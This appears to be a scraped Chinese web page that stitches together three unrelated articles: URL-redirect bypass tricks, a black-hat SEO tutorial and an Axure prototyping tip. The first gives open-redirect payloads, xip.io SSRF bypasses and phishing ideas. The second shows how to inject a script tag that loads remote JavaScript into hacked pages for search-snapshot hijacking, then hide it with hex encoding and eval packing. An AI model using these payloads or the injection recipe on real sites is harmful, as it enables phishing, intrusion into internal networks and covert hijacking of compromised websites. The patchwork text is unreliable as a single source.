整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

分享几个绕过URL跳转限制的思路

分享几个绕过URL跳转限制的思路

家对URL任意跳转都肯定了解,也知道他的危害,这里我就不细说了,过~

大家遇到的肯定都是很多基于这样的跳转格式

http://www.xxx.xxx/xxx?xxx=http://www.xxx.xxx/xxxxx

基本的思路大家就是直接替换后面的URL来检测是否存在任意URL跳转,如果不存在,就直接返回到它自己的域名,如果存在,就跳转到你指定的URL,

这里我讲述我所知道的所有小点。

0x01 利用问号绕过限制

利用问号,这是一个特性,利用问号可以成功绕过URL限制

比如:http://www.aaa.com/acb?Url=http://login.aaa.com 这是一个跳转链接,跳转到它的二级域名下,那么这个问号放哪里可以绕过呢?其实就是放到它自身的域名前面也就是你添加的想要跳转的域名的后面,如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com 那么,它其实是会跳转到这个test.com域名下,这个域名是我想要跳转的任意域名,而后面的它自身域名一定要带上,不带上就无法辅助用问号?这个特性来跳转到指定域名了,而跳转后,问号和问号后面的内容会变为这样:http://www.test.com/?login.aaa.com

0x02 利用反斜杠和正斜杠绕过限制

这个是我自己研究出来的,不知道是否网上有人说过。

比如:http://www.aaa.com/acb?Url=http://login.aaa.com/ 同样是在它本身域名前加上正斜杠,然后正斜杠前面跟上你想跳转的域名地址。

如:http://www.aaa.com/acb?Url=http://test.com/login.aaa.com

反斜杠有三种思路

两个反斜杠绕过方法

比如:http://www.aaa.com/acb?Url=http://login.aaa.com/ 同样是在它本身域名前加上两个反斜杠,然后两个反斜杠前面跟上你想跳转的域名地址。

如:http://www.aaa.com/acb?Url=http://test.com\login.aaa.com

一个反斜杠绕过方法

如:http://www.aaa.com/acb?Url=http://test.comlogin.aaa.com

另一种思路,一个反斜杠一个点

利用.这样的格式,也就是一个反斜杠加一个点来跳过限制,

如:http://www.aaa.com/acb?Url=http://test.com.login.aaa.com

0x03 利用@绕过URL限制

如果你用这方法在火狐里进行跳转,会有弹窗提示,在其它游览器则没有。

如:<a href=”http://www.aaa.com/acb?Url=http://login.aaa.com@test.com“”>http://www.aaa.com/acb?Url=http://login.aaa.com@test.com 后面的test.com就是要跳转到的域名,前面的域名都是用来辅助以绕过限制的。

0x04 利用白名单缺陷绕过限制

有的域名白名单限制是不全的,比如如果想利用一个跳转,而这个跳转是通用,在这个公司网站很多子域名等都可以跳转,那么你买个域名也不算贵对吧。

为什么这么说呢,这个问题就是白名单限制不当,比如,当跳转的域名包含这个网站下的所有域名,比如:http://www.aaa.com/acb?Url=http://login.aaa.com

这个login.aaa.com也可以改成aaa.com同样可以跳转对吧,因为白名单里只要有包含这个域名就直接成功跳转。

那么当我在这个域名前面加上如testaaa.com,白名单里会检查是否包含aaa.com这个域名,如果包含,就直接跳转,而并没有检查这个域名的整个信息,然后可以利用这个问题,直接注册一个testaaa.com这个域名就可以利用这个跳转。

0x05 多重验证&跳转绕过限制

现在很多网站都有多重验证,比如你登陆账户后会出现另一个验证页面,输入手机验证码进行验证,此时这上面的URL很可能存在任意跳转的问题。

多重跳转的问题导致可绕过URL限制

比如http://www.aaa.com/acb?Url=http: … ttp://login.aaa.com

当然,还有多重的,这个结构的多重跳转你修改最后面的URL就可以达到任意URL跳转,中间的URL就没必要动了。

0x06 点击触发达到绕过URL跳转限制

比如很多登陆页面的地方,其URL是一个跳转的URL

如:http://www.aaa.com/acb?Url=http://test.com

你直接修改了后面为任意URL,但是还是停留在原地,似乎没什么问题,但是,当你输入账号和密码后点击登陆按钮后,就会触发跳转。

当然,这个账户和密码不一定要对的,随便都可以,但得视系统而定吧。

这个我遇到了很多,比如你修改了域名,然后点击登陆,登陆成功后便可触发跳转,这也是一个比较隐蔽的绕过URL限制的跳转。

0x07 利用xip.io绕过

这个我还没有在测试中应用过,其请求是http://www.127.0.0.1.xip.io 这个绕过是在SSRF场景中的绕过,比如SSRF你要读取内网地址,一般都做了限制,可以尝试用这方法进行绕过限制,从而访问到内网。

另外一点,URL跳转涉及的安全问题大家常见的就是钓鱼,那么利用这个思路也可达成一个钓鱼问题,如,http://www.qq.com.220.181.57.217.xip.io

当你访问qq这个域名时,其实这个链接已经被解析到后面这个ip地址上了,那么实际访问的就是后面这个IP地址。

0x08 利用超链接绕过可信站点限制

比如一个URL,它是可以直接跳转的,但是一般测试跳转时大家习惯用www.baidu.com或qq.com这样的可信站点进行测试,但是有些网站是可以跳转这些网站的。

只要是可信站点且常用,基本都可以跳转,那么这就属于正常的业务逻辑了,难度就这样错失一个URL跳转漏洞了?

其实不然,只要你的URL被百度收录过,那么直接搜索你的域名,site:xxx.xxx

因为你在百度里点击你的域名,它会先是一个302跳转,而这个302跳转就是百度下的302跳转,那么这样就可以绕过可信站点的限制,从而达到跳转到指定URL。

当然,百度这个302有点长,你给它进行加密就行。

0x09 POST参数中的URL跳转

当然,这个影响就很小了,比如当你填什么表格或者需要填写什么的,当你上传图片,点击下一步的时候,通常下一步就是预览你填写的信息,最后才是提交。

当你上传了图片后点击下一步抓包,如果过滤不严,你会看到图片的完整地址包含在POST参数里,你就可以直接修改这个地址为任意URL,然后到达下一步。

这时是确定信息也就是预览自己填写的信息的正确还是不正确,由于你刚刚修改了图片地址,这里是没有显示出来的,图像会是一个小XX。

当点击图片右键选择查看图像时,就会触发URL跳转问题,其实这个也可以利用来进行钓鱼,钓后台审核员的信息。

为什么呢,比如审核看到图片无法加载,一般都会点击查看图片,然后跳转,如果安全意识不知就会造成安全影响。

当然,如果POST参数里就只是URL跳转参数,那么你可以给它转成GET方式,然后进行跳转就可以了,只要网站支持这样的GET方式就行。

在Burp Suite里可以一键转换提交方式,右键选择Change request method就可以!

0x10 利用#号绕过

如:http://www.aaa.com/acb?Url=http://test.com#login.aaa.com

小结,想找到任意URL跳转问题,就不要光看表面,一个修改一个回车,不存在就不继续深入了,这将永远无法成长。

我总结了我对于URL跳转绕过限制的一些小点,希望能够帮助到大家!

原文地址:http://blog.xbbai.site/post-150.html

一些黑帽SEO要对跳转的js代码进行加密,学习JavaScript加密方式,当我们网站被黑时,看到这段代码就明白这就是快照劫持的代码,删掉即可解决网站被黑问题。今天,错误博客(cuowu.com)分享的内容为《黑帽SEO教程为html中的js跳转url加密》。希望对大家有所帮助。

一、未加密的js代码

JavaScript跳转是黑帽SEO中快照劫持常见操作手法,比如在寄生虫程序使用中,在被黑掉的html或php中增加如下代码就可以完成快照劫持:

<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

这段JavaScript代码的作用是引入v6.js文件,v6.js文件中的内容为if判断语句,如果访问的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,则显示劫持的快照内容,如果是用户直接访问浏览器则会显示原页面内容。

二、16进制加密

首先把上面的命令增加为如下:

window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

然后,对前面双引号内的内容进行16进制加密,后面单引号内容也同样进行16进制加密,依次为:

\x64\x6f\x63\x75\x6d\x65\x6e\x74

\x77\x72\x69\x74\x65

\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

这个可以用utf-8转16进制加密在线工具即可。错误博客站长导航里面有。

站长导航(https://cuowu.com/daohang/)

加密完成后变为:

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

三、JS混淆加密压缩

然后,把上述的js代码再次补充一下才能正常运行,即:

<script type=”text/javascript”>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

</script>

把中间window到</script>;的内容利用站长工具的JS混淆加密压缩就可以得到eval加密形式,错误博客站长导航里面有。

站长导航(https://cuowu.com/daohang/)

获得如下加密代码如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

最终获得的加密代码如下:

<script type=”text/javascript”>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

</script>

这就是全部的js加密压缩过程了,解压过程反过来推就可以了。

以上就是错误博客(https://cuowu.com/)分享的内容为《黑帽SEO为html中的js加密(js混淆与16进制加密)》。感谢您的阅读。更多原创搜索“错误博客”。

什么要隐藏Axure原型式需求文档菜单列表?

很多时候产品经理输出完原型图生成HTML文件给到相应的开发、测试等小伙伴提前阅读熟悉产品功能需求,然后再组织讲解产品功能需求,但总有很多小伙伴们不认真听需求讲解,事后对需求理解存在偏差,根据自我对需求的理解进行设计开发,导致研发出来的产品与需求有差异,最后还甩锅给产品经理没有写清楚需求、没有讲明白需求、看不懂需求文档。

根据与开发、测试多年打交道的经验总结,大部分的开发、测试都不太喜欢复杂的需求文档,反而喜欢看原型图以及图中需求说明。

在产品迭代的过程中,为了保证产品需求文档从0-1的完整性,方便新加入的产品经理、开发、测试快速熟悉产品、接手产品,所有的版本迭代记录最好归档在一个Axure文件中。

那么问题来了:在版本迭代的时候即便我们做了需求导航,开发、测试小伙伴可以通过点击导航直接跳转至详细的原型图需求说明页面(上一篇文章有介绍),但是开发、测试小伙伴往往会忽视需求导航,直接从HTML文件的菜单列表直接点开查看(如图1),由于菜单列表太多他们根本看不懂、找不到迭代需求在哪里,这个时候我们就需要利用一些方法隐藏HTML文件左侧的菜单列表,强制开发、测试等小伙伴通过版本迭代需求导航跳转至原型图需求说明页面,这样阅读起来就非常方便快捷。



下面我将通过具体的操作步骤来讲解如何隐藏HTML文件的菜单列表。

第一,Axure生成HTML文件时,选择页面只勾选需求目录大纲,点击生成。



第二,找到刚才生成的HTML文件并打开,找到data文件并打开,剪切这个js文件存放到桌面。



第三,再次用Axure生成HTML文件,选择生成所有页面并点击生成到此前生成的HTML文件中。



第四,再次找到刚才生成的HTML文件并打开,找到data文件并打开,将此前剪切到桌面的js文件替换当前的js文件。



第五,最后打开Axure原型式产品需求文档,就会看到效果如下图不会再显示左侧菜单列表了。